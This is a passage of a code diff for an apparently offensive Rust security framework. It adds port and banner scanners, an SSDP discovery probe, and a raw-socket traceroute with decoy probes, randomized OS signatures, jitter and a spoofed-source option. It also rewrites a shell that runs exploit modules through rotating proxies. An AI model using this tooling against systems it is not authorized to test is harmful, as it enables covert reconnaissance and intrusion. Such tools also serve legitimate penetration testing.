+    // Try to read initial banner (works for FTP, SMTP, POP3, etc.)
+    match timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
+        Ok(Ok(n)) if n > 0 => {
+            let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
+            let service = detect_service_from_banner(&banner, port);
+            return (banner, service);
+        }
+        _ => {}
+    }
+    
+    // Service-specific probes
+    match port {
+        80 | 8080 => {
+            // HTTP probe
+            if let Ok(_) = stream.write_all(b"GET / HTTP/1.1\r\nHost: localhost\r\n\r\n").await {
+                if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
+                    if n > 0 {
+                        let response = String::from_utf8_lossy(&buf[..n]);
+                        if let Some(server) = extract_http_server(&response) {
+                            return (response.trim().to_string(), format!("HTTP ({})", server));
+                        }
+                        return (response.trim().to_string(), "HTTP".into());
+                    }
+                }
+            }
+        }
+        443 => {
+            // HTTPS - can't easily probe without TLS, just return empty
+            return ("".into(), "HTTPS".into());
+        }
+        22 => {
+            // SSH - read SSH banner
+            if let Ok(Ok(n)) = timeout(Duration::from_secs(2), stream.read(&mut buf)).await {
+                if n > 0 {
+                    let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
+                    return (banner, "SSH".into());
+                }
+            }
+        }
+        _ => {
+            // Try reading again for other services
+            if let Ok(Ok(n)) = timeout(Duration::from_secs(1), stream.read(&mut buf)).await {
+                if n > 0 {
+                    let banner = String::from_utf8_lossy(&buf[..n]).trim().to_string();
+                    let service = detect_service_from_banner(&banner, port);
+                    return (banner, service);
+                }
+            }
+        }
+    }
+    
+    ("".into(), "".into())
+}
+
+fn detect_service_from_banner(banner: &str, port: u16) -> String {
+    let banner_lower = banner.to_lowercase();
+    
+    if banner_lower.contains("ssh") {
+        "SSH".into()
+    } else if banner_lower.contains("ftp") {
+        "FTP".into()
+    } else if banner_lower.contains("smtp") {
+        "SMTP".into()
+    } else if banner_lower.contains("pop3") {
+        "POP3".into()
+    } else if banner_lower.contains("imap") {
+        "IMAP".into()
+    } else if banner_lower.contains("http") {
+        "HTTP".into()
+    } else if banner_lower.contains("mysql") {
+        "MySQL".into()
+    } else {
+        get_service_name(port).to_string()
+    }
+}
+
+fn extract_http_server(response: &str) -> Option<String> {
+    for line in response.lines() {
+        if line.to_lowercase().starts_with("server:") {
+            return Some(line.split(':').nth(1).unwrap_or("").trim().to_string());
+        }
+    }
+    None
+}
+
+/// === UDP Port Scanner ===
+async fn scan_udp(ip: &std::net::IpAddr, port: u16, timeout_secs: u64) -> Option<String> {
+    let bind_addr = if ip.is_ipv4() { "0.0.0.0:0" } else { "[::]:0" };
+    let sock = match UdpSocket::bind(bind_addr).await {
+        Ok(s) => s,
+        Err(_) => return Some("ERROR".into()),
+    };
+
+    let target = SocketAddr::new(*ip, port);
+    let payload = b"\x00\x00\x10\x10";
+    let _ = sock.send_to(payload, target).await;
+    
+    let mut buf = [0u8; 512];
+    match timeout(Duration::from_secs(timeout_secs), sock.recv_from(&mut buf)).await {
+        Ok(Ok((_len, _src))) => Some("OPEN".into()),
+        Ok(Err(_)) => Some("CLOSED".into()),
+        Err(_) => Some("FILTERED".into()),
+    }
+}
+
+/// === Target Resolution ===
+fn resolve_target(input: &str) -> Result<(String, std::net::IpAddr)> {
+    let cleaned = input.trim().trim_start_matches('[').trim_end_matches(']');
+    let addrs: Vec<_> = (cleaned, 0).to_socket_addrs()?.collect();
+    if let Some(addr) = addrs.iter().find(|a| a.is_ipv4()) {
+        Ok((addr.ip().to_string(), addr.ip()))
+    } else if let Some(addr) = addrs.first() {
+        Ok((addr.ip().to_string(), addr.ip()))
+    } else {
+        Err(anyhow!("Could not resolve target '{}'", input))
+    }
+}
+
+/// === Prompt Utilities ===
+fn prompt(message: &str) -> Result<String> {
+    print!("{}", message.cyan().bold());
+    io::stdout().flush()?;
+    let mut buf = String::new();
+    io::stdin().read_line(&mut buf)?;
+    Ok(buf.trim().to_string())
+}
+
+fn prompt_bool(message: &str) -> Result<bool> {
+    loop {
+        let input = prompt(message)?;
+        if input.is_empty() {
+            return Ok(false);
+        }
+        match input.to_lowercase().as_str() {
+            "y" | "yes" => return Ok(true),
+            "n" | "no" => return Ok(false),
+            _ => println!("{}", "Please enter 'y' or 'n'.".yellow()),
+        }
+    }
+}
+
+fn prompt_usize(message: &str) -> Result<usize> {
+    loop {
+        let input = prompt(message)?;
+        if input.is_empty() {
+            return Err(anyhow!("Input required"));
+        }
+        if let Ok(n) = input.parse::<usize>() {
+            return Ok(n);
+        }
+        println!("{}", "Please enter a valid number.".yellow());
+    }
+}
+
+/// === Scan Statistics ===
+struct ScanStats {
+    tcp_open: usize,
+    tcp_closed: usize,
+    tcp_filtered: usize,
+    udp_open: usize,
+    udp_closed: usize,
+    udp_filtered: usize,
+}
+
+impl ScanStats {
+    fn new() -> Self {
+        ScanStats {
+            tcp_open: 0,
+            tcp_closed: 0,
+            tcp_filtered: 0,
+            udp_open: 0,
+            udp_closed: 0,
+            udp_filtered: 0,
+        }
+    }
+}
+
+/// === Progress Tracker ===
+struct ProgressTracker {
+    total: usize,
+    current: usize,
+    last_print: usize,
+    start_time: Option<Instant>,
+}
+
+impl ProgressTracker {
+    fn new(total: usize) -> Self {
+        ProgressTracker {
+            total,
+            current: 0,
+            last_print: 0,
+            start_time: None,
+        }
+    }
+    
+    fn increment(&mut self, start_time: &Instant) {
+        if self.start_time.is_none() {
+            self.start_time = Some(*start_time);
+        }
+        self.current += 1;
+    }
+    
+    fn should_print(&self) -> bool {
+        let diff = self.current - self.last_print;
+        diff >= 100 || self.current == self.total
+    }
+    
+    fn print_progress(&mut self) {
+        if self.current == 0 {
+            return;
+        }
+        
+        let percentage = (self.current as f64 / self.total as f64) * 100.0;
+        let elapsed = self.start_time.map(|s| s.elapsed()).unwrap_or_default();
+        
+        let rate = if elapsed.as_secs() > 0 {
+            self.current as f64 / elapsed.as_secs() as f64
+        } else {
+            0.0
+        };
+        
+        let remaining = if rate > 0.0 {
+            (self.total - self.current) as f64 / rate
+        } else {
+            0.0
+        };
+        
+        print!("\r{}", format!(
+            "[*] Progress: {}/{} ({:.1}%) | Rate: {:.0} ports/sec | ETA: {:.0}s",
+            self.current,
+            self.total,
+            percentage,
+            rate,
+            remaining
+        ).cyan());
+        io::stdout().flush().unwrap();
+        
+        if self.current == self.total {
+            println!();
+        }
+        
+        self.last_print = self.current;
+    }
+}
+
+

src/modules/scanners/ssdp_msearch.rs

@@ -0,0 +1,114 @@
+use anyhow::{Result};
+use colored::*;
+use regex::Regex;
+use std::collections::HashMap;
+use std::io::Write;
+use std::net::SocketAddr;
+use tokio::net::UdpSocket;
+use tokio::time::{timeout, Duration};
+
+pub async fn run(target: &str) -> Result<()> {
+    let port = prompt_port().unwrap_or(1900);
+
+    let target = clean_ipv6_brackets(target);
+
+    let addr = normalize_target(&target, port)?;
+
+    println!("[*] Sending SSDP M-SEARCH to {}...", addr);
+
+    let local_bind: SocketAddr = "0.0.0.0:0".parse()?;
+    let socket = UdpSocket::bind(local_bind).await?;
+    socket.connect(&addr).await?;
+
+    let request = format!(
+        "M-SEARCH * HTTP/1.1\r\n\
+         HOST: {}:{}\r\n\
+         MAN: \"ssdp:discover\"\r\n\
+         MX: 2\r\n\
+         ST: upnp:rootdevice\r\n\r\n",
+        target, port
+    );
+
+    socket.send(request.as_bytes()).await?;
+
+    let mut buf = vec![0u8; 2048];
+    match timeout(Duration::from_secs(3), socket.recv(&mut buf)).await {
+        Ok(Ok(size)) => {
+            let response = String::from_utf8_lossy(&buf[..size]);
+            parse_ssdp_response(&response, &target, port);
+        }
+        _ => {
+            println!("[-] Target did not respond to M-SEARCH request");
+        }
+    }
+
+    Ok(())
+}
+
+/// Normalize the target: IPv6 -> [ipv6]:port, IPv4 stays as ipv4:port
+fn normalize_target(target: &str, port: u16) -> Result<String> {
+    let addr = if target.contains(':') && !target.contains(']') {
+        // Plain IPv6 without brackets
+        format!("[{}]:{}", target, port)
+    } else if target.contains('[') {
+        // Already bracketed IPv6 (sanitize just in case)
+        format!("[{}]:{}", target.trim_matches(&['[', ']'][..]), port)
+    } else {
+        // IPv4 or hostname
+        format!("{}:{}", target, port)
+    };
+    Ok(addr)
+}
+
+/// Cleans up accidental double or triple brackets like [[::1]] → ::1
+fn clean_ipv6_brackets(ip: &str) -> String {
+    ip.trim_start_matches('[')
+      .trim_end_matches(']')
+      .to_string()
+}
+
+/// Ask user for port (optional), fallback to 1900 if empty
+fn prompt_port() -> Option<u16> {
+    print!("{}", "[*] Enter custom port (default 1900): ".cyan().bold());
+    std::io::stdout().flush().ok();
+    let mut input = String::new();
+    if let Ok(_) = std::io::stdin().read_line(&mut input) {
+        let input = input.trim();
+        if input.is_empty() {
+            return None;
+        }
+        if let Ok(p) = input.parse::<u16>() {
+            return Some(p);
+        }
+    }
+    None
+}
+
+fn parse_ssdp_response(response: &str, target_ip: &str, port: u16) {
+    let regexps = vec![
+        ("server", r"(?i)Server:\s*(.*?)\r\n"),
+        ("location", r"(?i)Location:\s*(.*?)\r\n"),
+        ("usn", r"(?i)USN:\s*(.*?)\r\n"),
+    ];
+
+    let mut results: HashMap<&str, String> = HashMap::new();
+
+    for (key, pattern) in regexps {
+        if let Ok(re) = Regex::new(pattern) {
+            if let Some(caps) = re.captures(response) {
+                results.insert(key, caps.get(1).map(|m| m.as_str()).unwrap_or("").to_string());
+            } else {
+                results.insert(key, String::from(""));
+            }
+        }
+    }
+
+    println!(
+        "[+] {}:{} | {} | {} | {}",
+        target_ip,
+        port,
+        results.get("server").unwrap_or(&"".to_string()),
+        results.get("location").unwrap_or(&"".to_string()),
+        results.get("usn").unwrap_or(&"".to_string())
+    );
+}

src/modules/scanners/stalkroute_full_traceroute.rs

@@ -0,0 +1,444 @@
+use pnet_packet::ip::IpNextHeaderProtocols;
+use pnet_packet::ipv4::{self, MutableIpv4Packet};
+use pnet_packet::icmp::{self, echo_request, echo_reply, IcmpTypes};
+use pnet_packet::udp::{self, MutableUdpPacket};
+use pnet_packet::tcp::{self, MutableTcpPacket, TcpFlags};
+use pnet_packet::Packet;
+use pnet_packet::icmp::IcmpPacket;
+use std::sync::Arc;
+
+use rand::Rng;
+use rand::distr::Alphanumeric;
+
+use std::net::{IpAddr, Ipv4Addr, SocketAddr};
+use std::io::{stdin, stdout, Write};
+
+
+use tokio::time::{Instant, Duration};
+use tokio::task;
+
+use socket2::{Domain, Protocol, Socket, Type};
+
+use colored::*;
+
+use anyhow::{Result, Context, bail};
+
+use std::mem::MaybeUninit;
+
+const IPV4_FLAG_DF: u16 = 2;
+
+
+const USE_RANDOM_OS_SIG: bool = true;
+const SPOOF_SRC_IP_CONFIG: Option<&str> = None;
+const JITTER_RANGE: (f32, f32) = (0.2, 1.1);
+const MAX_TTL: u8 = 30;
+const PROBE_COUNT: usize = 3;
+const DECOY_PROB: f64 = 0.35;
+
+#[derive(Debug, Clone)]
+struct OsSignatureParams {
+    id: u16,
+    tos: u8,
+    df_flag: bool,
+}
+
+fn generate_os_signature() -> OsSignatureParams {
+    let mut rng = rand::rng();
+    if !USE_RANDOM_OS_SIG {
+        return OsSignatureParams {
+            id: rng.random(),
+            tos: 0,
+            df_flag: false,
+        };
+    }
+
+    let sigs = [
+        OsSignatureParams { id: rng.random_range(0x4000..=0xffff), tos: 0, df_flag: true },
+        OsSignatureParams { id: rng.random(), tos: 0, df_flag: false },
+        OsSignatureParams { id: rng.random(), tos: 0, df_flag: true },
+        OsSignatureParams { id: rng.random(), tos: 0x10, df_flag: false },
+    ];
+    sigs[rng.random_range(0..sigs.len())].clone()
+}
+
+#[derive(Debug, Clone, Copy, PartialEq)]
+enum ProbeProtocolType {
+    Icmp,
+    Udp,
+    Tcp,
+}
+
+impl ProbeProtocolType {
+    fn to_ip_next_header_protocol(&self) -> pnet_packet::ip::IpNextHeaderProtocol {
+        match self {
+            ProbeProtocolType::Icmp => IpNextHeaderProtocols::Icmp,
+            ProbeProtocolType::Udp => IpNextHeaderProtocols::Udp,
+            ProbeProtocolType::Tcp => IpNextHeaderProtocols::Tcp,
+        }
+    }
+
+    fn to_string_lc(&self) -> String {
+        match self {
+            ProbeProtocolType::Icmp => "icmp".to_string(),
+            ProbeProtocolType::Udp => "udp".to_string(),
+            ProbeProtocolType::Tcp => "tcp".to_string(),
+        }
+    }
+}
+
+#[derive(Debug)]
+struct ReceivedIcmpInfo {
+    icmp_type: u8,
+    description: String,
+}
+
+#[derive(Debug)]
+struct ProbeSingleResponse {
+    source_ip: Ipv4Addr,
+    rtt_ms: f32,
+    icmp_info: ReceivedIcmpInfo,
+    probe_protocol_used: String,
+}
+
+fn craft_probe_packet(
+    dst_ip: Ipv4Addr,
+    current_ttl: u8,
+    src_ip_override: Option<Ipv4Addr>,
+    icmp_id_val: u16,
+    icmp_seq_val: u16,
+) -> Result<(Vec<u8>, ProbeProtocolType, OsSignatureParams)> {
+    const IPV4_HEADER_LEN: usize = 20;
+
+    let mut rng = rand::rng();
+    let sig = generate_os_signature();
+
+    let mut protocol_type = ProbeProtocolType::Icmp;
+    if rng.random_bool(DECOY_PROB) {
+        protocol_type = if rng.random_bool(0.5) {
+            ProbeProtocolType::Udp
+        } else {
+            ProbeProtocolType::Tcp
+        };
+    }
+
+    let payload_size = rng.random_range(24..=56);
+    let payload: Vec<u8> = rng.clone()
+        .sample_iter(&Alphanumeric)
+        .take(payload_size)
+        .map(|c| c as u8)
+        .collect();
+
+    let (transport_header_len, transport_packet_data) = match protocol_type {
+        ProbeProtocolType::Icmp => {
+            let mut buf = vec![0u8; 8 + payload.len()];
+            let mut pkt = echo_request::MutableEchoRequestPacket::new(&mut buf).unwrap();
+            pkt.set_icmp_type(IcmpTypes::EchoRequest);
+            pkt.set_icmp_code(echo_request::IcmpCodes::NoCode);
+            pkt.set_identifier(icmp_id_val);
+            pkt.set_sequence_number(icmp_seq_val);
+            pkt.set_payload(&payload);
+            let view = IcmpPacket::new(pkt.packet()).unwrap();
+            pkt.set_checksum(icmp::checksum(&view));
+            (buf.len(), buf)
+        }
+        ProbeProtocolType::Udp => {
+            let mut buf = vec![0u8; 8 + payload.len()];
+            let mut pkt = MutableUdpPacket::new(&mut buf).unwrap();
+            pkt.set_source(rng.random_range(33434..=65535));
+            pkt.set_destination(rng.random_range(33434..=65535));
+            pkt.set_length((8 + payload.len()) as u16);
+            pkt.set_payload(&payload);
+            let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
+            pkt.set_checksum(udp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
+            (buf.len(), buf)
+        }
+        ProbeProtocolType::Tcp => {
+            let mut buf = vec![0u8; 20 + payload.len()];
+            let mut pkt = MutableTcpPacket::new(&mut buf).unwrap();
+            pkt.set_source(rng.random_range(33434..=65535));
+            pkt.set_destination(rng.random_range(33434..=65535));
+            pkt.set_sequence(rng.random());
+            pkt.set_acknowledgement(0);
+            pkt.set_data_offset(5);
+            pkt.set_flags(TcpFlags::SYN);
+            pkt.set_window(rng.random_range(1024..=65535));
+            pkt.set_urgent_ptr(0);
+            pkt.set_payload(&payload);
+            let src = src_ip_override.unwrap_or(Ipv4Addr::new(0,0,0,0));
+            pkt.set_checksum(tcp::ipv4_checksum(&pkt.to_immutable(), &src, &dst_ip));
+            (buf.len(), buf)
+        }
+    };
+
+    let total_len = (IPV4_HEADER_LEN + transport_header_len) as u16;
+    let mut ip_buf = vec![0u8; total_len as usize];
+
+    let src_ip = src_ip_override
+        .or_else(|| SPOOF_SRC_IP_CONFIG.map(str::parse).transpose().unwrap())
+        .unwrap_or(Ipv4Addr::new(0,0,0,0));
+
+    {
+        let mut ip = MutableIpv4Packet::new(&mut ip_buf).unwrap();
+        ip.set_version(4);
+        ip.set_header_length(5);
+        ip.set_total_length(total_len);
+        ip.set_identification(sig.id);
+        ip.set_ttl(current_ttl);
+        ip.set_next_level_protocol(protocol_type.to_ip_next_header_protocol());
+        ip.set_source(src_ip);
+        ip.set_destination(dst_ip);
+        ip.set_dscp(sig.tos >> 2);
+        ip.set_ecn(sig.tos & 0x03);
+        let mut flags = 0;
+        if sig.df_flag {
+            flags |= IPV4_FLAG_DF;
+        }
+        ip.set_flags(flags.try_into().unwrap());
+        ip.set_payload(&transport_packet_data);
+        ip.set_checksum(ipv4::checksum(&ip.to_immutable()));
+    }
+
+    Ok((ip_buf, protocol_type, sig))
+}
+
+
+
+
+async fn send_and_receive_one(
+    target_final_dst_ip: Ipv4Addr,
+    probe_packet_bytes: &[u8],
+    probe_protocol: ProbeProtocolType,
+    probe_ip_id: u16,
+    probe_icmp_echo_id: u16,
+    probe_icmp_echo_seq: u16,
+    timeout: Duration,
+) -> Result<Option<ProbeSingleResponse>> {
+    let sender_socket = Socket::new(
+        Domain::IPV4,
+        Type::RAW,
+        Some(Protocol::from(libc::IPPROTO_RAW)),
+    )
+    .context("Failed to create sender raw socket")?;
+    sender_socket
+        .set_header_included_v4(true)
+        .context("Failed to set IP_HDRINCL on sender socket")?;
+
+    let receiver_socket = Arc::new(
+        Socket::new(Domain::IPV4, Type::RAW, Some(Protocol::ICMPV4))
+            .context("Failed to create receiver raw socket for ICMP")?,
+    );
+    receiver_socket
+        .set_read_timeout(Some(Duration::from_millis(200)))
+        .context("Failed to set read timeout on receiver socket")?;
+
+    let dst_addr = SocketAddr::new(IpAddr::V4(target_final_dst_ip), 0);
+    sender_socket
+        .send_to(probe_packet_bytes, &dst_addr.into())
+        .context("Failed to send raw IP packet")?;
+
+    let start = Instant::now();
+    loop {
+        if start.elapsed() >= timeout {
+            return Ok(None);
+        }
+
+        let sock_clone = receiver_socket.try_clone().expect("Socket clone failed");
+        let recv = task::spawn_blocking(move || -> Result<Option<(Vec<u8>, SocketAddr)>, std::io::Error> {
+            let mut buf = [MaybeUninit::<u8>::uninit(); 1500];
+            match sock_clone.recv_from(&mut buf) {
+                Ok((len, addr)) => {
+                    let slice = unsafe { std::slice::from_raw_parts(buf.as_ptr() as *const u8, len) };
+                    let sock_addr = addr.as_socket().ok_or_else(|| std::io::Error::new(std::io::ErrorKind::Other, "convert"))?;
+                    Ok(Some((slice.to_vec(), sock_addr)))
+                }
+                Err(ref e) if e.kind() == std::io::ErrorKind::WouldBlock || e.kind() == std::io::ErrorKind::TimedOut => Ok(None),
+                Err(e) => Err(e),
+            }
+        })
+        .await
+        .context("Blocking task for recv_from failed")?;
+
+        if let Some((data, sa)) = recv? {
+            let rtt = start.elapsed().as_secs_f32() * 1000.0;
+            let responder = if let IpAddr::V4(ip) = sa.ip() { ip } else { continue; };
+
+            if let Some(ip_pkt) = ipv4::Ipv4Packet::new(&data) {
+                if ip_pkt.get_next_level_protocol() == IpNextHeaderProtocols::Icmp {
+                    if let Some(icmp_pkt) = icmp::IcmpPacket::new(ip_pkt.payload()) {
+                        let icmp_type = icmp_pkt.get_icmp_type();
+                        let _ = icmp_pkt.get_icmp_code();
+                        let mut matched = false;
+
+                        if icmp_type == IcmpTypes::TimeExceeded || icmp_type == IcmpTypes::DestinationUnreachable {
+                            if let Some(inner) = ipv4::Ipv4Packet::new(icmp_pkt.payload()) {
+                                if inner.get_destination() == target_final_dst_ip && inner.get_identification() == probe_ip_id {
+                                    let proto = inner.get_next_level_protocol();
+                                    match probe_protocol {
+                                        ProbeProtocolType::Icmp => {
+                                            if proto == IpNextHeaderProtocols::Icmp {
+                                                if let Some(echo_req) = echo_request::EchoRequestPacket::new(inner.payload()) {
+                                                    if echo_req.get_icmp_type() == IcmpTypes::EchoRequest
+                                                        && echo_req.get_identifier() == probe_icmp_echo_id
+                                                        && echo_req.get_sequence_number() == probe_icmp_echo_seq
+                                                    {
+                                                        matched = true;
+                                                    }
+                                                }
+                                            }
+                                        }
+                                        ProbeProtocolType::Udp | ProbeProtocolType::Tcp => {
+                                            if proto == probe_protocol.to_ip_next_header_protocol() {
+                                                matched = true;
+                                            }
+                                        }
+                                    }
+                                }
+                            }
+                        } else if icmp_type == IcmpTypes::EchoReply && probe_protocol == ProbeProtocolType::Icmp {
+                            if let Some(reply) = echo_reply::EchoReplyPacket::new(icmp_pkt.packet()) {
+                                if reply.get_identifier() == probe_icmp_echo_id
+                                    && reply.get_sequence_number() == probe_icmp_echo_seq
+                                    && responder == target_final_dst_ip
+                                {
+                                    matched = true;
+                                }
+                            }
+                        }
+
+                        if matched {
+                            let desc = match icmp_type {
+                                IcmpTypes::EchoReply => "echo-reply".to_string(),
+                                IcmpTypes::DestinationUnreachable => "unreachable".to_string(),
+                                IcmpTypes::TimeExceeded => "time-exceeded".to_string(),
+                                _ => format!("type {}", icmp_type.0),
+                            };
+                            return Ok(Some(ProbeSingleResponse {
+                                source_ip: responder,
+                                rtt_ms: rtt,
+                                icmp_info: ReceivedIcmpInfo { icmp_type: icmp_type.0, description: desc },
+                                probe_protocol_used: probe_protocol.to_string_lc(),
+                            }));
+                        }
+                    }
+                }
+            }
+        }
+
+        tokio::time::sleep(Duration::from_millis(10)).await;
+    }
+}
+
+async fn execute_traceroute(target_name: &str) -> Result<()> {
+    println!("{}", format!("[+] Traceroute to {} (max {} hops)", target_name, MAX_TTL).cyan());
+
+    let resolved_ips = tokio::net::lookup_host(format!("{}:0", target_name))
+        .await
+        .with_context(|| format!("Could not resolve target: {}", target_name))?;
+
+    let mut target_ipv4: Option<Ipv4Addr> = None;
+    for sock_addr in resolved_ips {
+        if let IpAddr::V4(ipv4) = sock_addr.ip() {
+            target_ipv4 = Some(ipv4);
+            break;
+        }
+    }
+
+    let dst_ip = match target_ipv4 {
+        Some(ip) => ip,
+        None => bail!("Could not resolve {} to an IPv4 address", target_name),
+    };
+
+    println!("{}", format!("[*] Resolved {} to {}", target_name, dst_ip).green());
+
+    let src_ip_override_opt: Option<Ipv4Addr> = SPOOF_SRC_IP_CONFIG.map(|s| s.parse().expect("Invalid SPOOF_SRC_IP"));
+    let mut rng = rand::rng();
+
+    for ttl_val in 1..=MAX_TTL {
+        let line_prefix = format!("[TTL={:2}] ", ttl_val).yellow().to_string();
+        let mut ttl_responded = false;
+
+        for _probe_idx in 0..PROBE_COUNT {
+            let icmp_probe_id = rng.random_range(33434..=65535);
+            let icmp_probe_seq = ttl_val as u16;
+
+            let (packet_bytes, protocol_used, os_sig_params) = craft_probe_packet(
+                dst_ip,
+                ttl_val,
+                src_ip_override_opt,
+                icmp_probe_id,
+                icmp_probe_seq,
+            )?;
+
+            let _t0 = Instant::now();
+            let response = send_and_receive_one(
+                dst_ip,
+                &packet_bytes,
+                protocol_used,
+                os_sig_params.id,
+                icmp_probe_id,
+                icmp_probe_seq,
+                Duration::from_secs(2),
+            ).await?;
+
+            if let Some(res) = response {
+                ttl_responded = true;
+                let rtt_str = format!("{:.1}ms", res.rtt_ms);
+
+                print!("{}{:<16} ", line_prefix, res.source_ip.to_string().bright_white());
+                print!("{} ", res.icmp_info.description);
+                println!("({}) {}", res.probe_protocol_used.dimmed(), rtt_str);
+
+                if res.source_ip == dst_ip {
+                    if res.icmp_info.icmp_type == IcmpTypes::EchoReply.0 ||
+                        (res.icmp_info.icmp_type == IcmpTypes::DestinationUnreachable.0 && res.source_ip == dst_ip) {
+                        println!("{}", format!("[+] Target reached: {}", res.source_ip).green());
+                        return Ok(());
+                    }
+                }
+            }
+
+            let jitter_duration = rng.random_range(JITTER_RANGE.0..JITTER_RANGE.1);
+            tokio::time::sleep(Duration::from_secs_f32(jitter_duration)).await;
+        }
+
+        if !ttl_responded {
+            println!("{}{}", line_prefix, "BLOCKED / FILTERED".red().bold());
+        }
+    }
+
+    Ok(())
+}
+
+pub async fn run(target: &str) -> Result<()> {
+    let mut user_input = String::new();
+    print!("Are you running this as sudo? (yes/no): ");
+    stdout().flush().unwrap();
+    stdin().read_line(&mut user_input).expect("Failed to read line");
+
+    if user_input.trim().to_lowercase() == "yes" {
+        let euid = unsafe { libc::geteuid() };
+        if euid != 0 {
+            println!("don't lie");
+            std::process::exit(1);
+        }
+    } else if user_input.trim().to_lowercase() == "no" {
+        println!("Please run this script as sudo.");
+        std::process::exit(1);
+    } else {
+        println!("Invalid input. Exiting.");
+        std::process::exit(1);
+    }
+
+    println!("by suicidalteddy");
+    println!("github.com/s-b-repo");
+    println!("medium.com/@suicdalteddy/about");
+
+    if target.is_empty() {
+        bail!("No target provided.");
+    }
+
+    execute_traceroute(target).await.map_err(|e| {
+        eprintln!("{}", format!("[-] Error: {}", e).red());
+        e
+    })
+}

src/shell.rs

@@ -1,7 +1,8 @@
 use crate::commands;
 use crate::utils;
 use anyhow::Result;
-use rand::prelude::*;  // Updated for rand 0.10
+use colored::*;
+use rand::prelude::*; // rand 0.9 prelude provides rng() and SliceRandom
 use std::env;
 use std::io::{self, Write};
 use std::collections::HashSet;
@@ -32,152 +33,192 @@ pub async fn interactive_shell() -> Result<()> {
     let mut ctx = ShellContext::new();
 
     loop {
-        print!("rsf> ");
+        print!("{}", "rsf> ".cyan().bold());
         io::stdout().flush()?;
 
-        let mut input = String::new();
-        io::stdin().read_line(&mut input)?;
-        let input = input.trim();
+        let mut raw_input = String::new();
+        io::stdin().read_line(&mut raw_input)?;
+        let trimmed = raw_input.trim();
 
-        if input.is_empty() {
+        if trimmed.is_empty() {
             continue;
         }
 
-        match input {
-            "exit" | "quit" => {
-                println!("Exiting...");
-                break;
-            },
-            "help" => {
-                println!("Available commands:");
-                println!("  use <module_path>   - Select a module (e.g. 'use exploits/sample_exploit')");
-                println!("  set target <value>  - Set the target IP/host");
-                println!("  run                 - Run the current module (with proxy retries if enabled)");
-                println!("  modules             - List available modules");
-                println!("  proxy_load <file>   - Load a list of proxies (http://ip:port, http://ip:port, socks4://ip:port, socks5://ip:port.)");
-                println!("  proxy_on            - Enable proxy usage");
-                println!("  proxy_off           - Disable proxy usage");
-                println!("  show_proxies        - Show loaded proxies & current proxy status");
-                println!("  exit, quit          - Exit the shell");
-            },
-            "modules" => {
-                utils::list_all_modules();
-            },
-            cmd if cmd.starts_with("proxy_load ") => {
-                let file = cmd.trim_start_matches("proxy_load ").trim();
-                match utils::load_proxies_from_file(file) {
-                    Ok(list) => {
-                        ctx.proxy_list = list;
-                        println!("Loaded {} proxies from '{}'.", ctx.proxy_list.len(), file);
+        match split_command(trimmed) {
+            Some((cmd, rest)) => {
+                let command_key = resolve_command(&cmd);
+                match command_key.as_str() {
+                    "exit" => {
+                        println!("Exiting...");
+                        break;
                     }
-                    Err(e) => {
-                        println!("Failed to load proxies: {}", e);
-                    }
-                }
-            },
-            "proxy_on" => {
-                ctx.proxy_enabled = true;
-                println!("Proxy usage enabled.");
-            },
-            "proxy_off" => {
-                ctx.proxy_enabled = false;
-                println!("Proxy usage disabled.");
-                clear_proxy_env_vars();
-            },
-            "show_proxies" => {
-                if ctx.proxy_list.is_empty() {
-                    println!("No proxies loaded. Use 'proxy_load <file>' to load them.");
-                } else {
-                    println!("Loaded proxies ({}):", ctx.proxy_list.len());
-                    for p in &ctx.proxy_list {
-                        println!("  {}", p);
-                    }
-                }
-                println!("Proxy is currently {}.", if ctx.proxy_enabled { "ON" } else { "OFF" });
-            },
-            cmd if cmd.starts_with("use ") => {
-                let module_path = cmd.trim_start_matches("use ").trim();
-                if utils::module_exists(module_path) {
-                    ctx.current_module = Some(module_path.to_string());
-                    println!("Module '{}' selected.", module_path);
-                } else {
-                    println!("Module '{}' not found.", module_path);
-                }
-            },
-            cmd if cmd.starts_with("set ") => {
-                let parts: Vec<&str> = cmd.split_whitespace().collect();
-                if parts.len() >= 3 && parts[1] == "target" {
-                    ctx.current_target = Some(parts[2].to_string());
-                    println!("Target set to {}", parts[2]);
-                } else {
-                    println!("Usage: set target <value>");
-                }
-            },
-            "run" => {
-                if let Some(ref module_path) = ctx.current_module {
-                    if let Some(ref t) = ctx.current_target {
-                        // -----------------------------
-                        // NEW: Proxy Retry Logic
-                        // -----------------------------
-                        if ctx.proxy_enabled && !ctx.proxy_list.is_empty() {
-                            // We'll keep trying different proxies until we succeed or run out
-                            let mut tried_proxies = HashSet::new();
-                            let mut success = false;
-
-                            while tried_proxies.len() < ctx.proxy_list.len() {
-                                // pick a random proxy that we haven't tried yet
-                                let chosen_proxy = pick_random_untried_proxy(&ctx.proxy_list, &tried_proxies);
-                                set_all_proxy_env(&chosen_proxy);
-                                println!("[*] Using proxy: {}", chosen_proxy);
-
-                                println!("Running module '{}' against target '{}'", module_path, t);
-                                match commands::run_module(module_path, t).await {
-                                    Ok(_) => {
-                                        // If exploit was successful, break
-                                        success = true;
-                                        break;
-                                    }
-                                    Err(e) => {
-                                        eprintln!("[!] Module failed with error: {:?}", e);
-                                        eprintln!("    Retrying with a new proxy...");
-                                        tried_proxies.insert(chosen_proxy);
-                                    }
-                                }
-                            }
-
-                            // if we never succeeded and we've tried all proxies,
-                            // let's do a final fallback: direct connection (or just stop)
-                            if !success {
-                                println!("[!] All proxies failed. Trying direct connection...");
-                                clear_proxy_env_vars();
-                                if let Err(e) = commands::run_module(module_path, t).await {
-                                    eprintln!("[!] Final direct attempt also failed: {:?}", e);
-                                }
-                            }
-                        } else if ctx.proxy_enabled && ctx.proxy_list.is_empty() {
-                            // Proxy is on, but no proxies loaded => do a direct attempt
-                            println!("[!] No proxies loaded, but proxy is ON. Doing direct attempt...");
-                            clear_proxy_env_vars();
-                            if let Err(e) = commands::run_module(module_path, t).await {
-                                eprintln!("[!] Module failed: {:?}", e);
-                            }
+                    "help" => render_help(),
+                    "modules" => utils::list_all_modules(),
+                    "find" => {
+                        if rest.is_empty() {
+                            println!("{}", "Usage: find <keyword>".yellow());
                         } else {
-                            // Proxy is off => direct single attempt
-                            clear_proxy_env_vars();
-                            if let Err(e) = commands::run_module(module_path, t).await {
